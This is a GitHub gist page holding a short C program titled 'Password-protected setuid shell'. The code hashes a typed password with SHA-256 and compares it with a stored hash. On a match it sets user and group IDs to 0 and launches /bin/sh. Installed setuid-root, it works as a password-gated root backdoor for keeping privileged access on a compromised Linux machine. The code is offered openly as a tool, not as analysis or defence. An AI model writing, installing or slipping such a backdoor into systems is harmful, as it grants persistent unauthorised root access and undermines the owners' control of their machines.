Last active
July 20, 2021 16:28
-
-
Save c4mx/69bc0159bfa33fffc1fe11f4bc24267f to your computer and use it in GitHub Desktop.
Password-protected setuid shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <stdio.h> | |
#include <openssl/sha.h> | |
#include <stddef.h> | |
#include <errno.h> | |
#include <string.h> | |
// gcc -lcrypto setuid_shell.c -o setuid_shell | |
void sha256(char *string, char outputBuffer[65]) | |
{ | |
unsigned char hash[SHA256_DIGEST_LENGTH]; | |
int len; | |
SHA256_CTX sha256; | |
SHA256_Init(&sha256); | |
len=strlen(string); | |
SHA256_Update(&sha256, string,len); | |
SHA256_Final(hash, &sha256); | |
int i = 0; | |
for(i = 0; i < SHA256_DIGEST_LENGTH; i++) | |
{ | |
sprintf(outputBuffer + (i * 2), "%02x", (unsigned char)hash[i]); | |
} | |
outputBuffer[64] = 0; | |
} | |
int main(int argc, char **argv) | |
{ | |
const char *p = "sha265_hash"; | |
char *s = getpass("Pass: "); | |
char calc_hash[65]; | |
sha256(s, calc_hash); | |
//printf("%s\n",calc_hash); | |
if (strcmp(p, calc_hash) == 0) { | |
setuid(0); | |
setgid(0); | |
system("/bin/sh"); | |
} else | |
printf("Bye\n"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment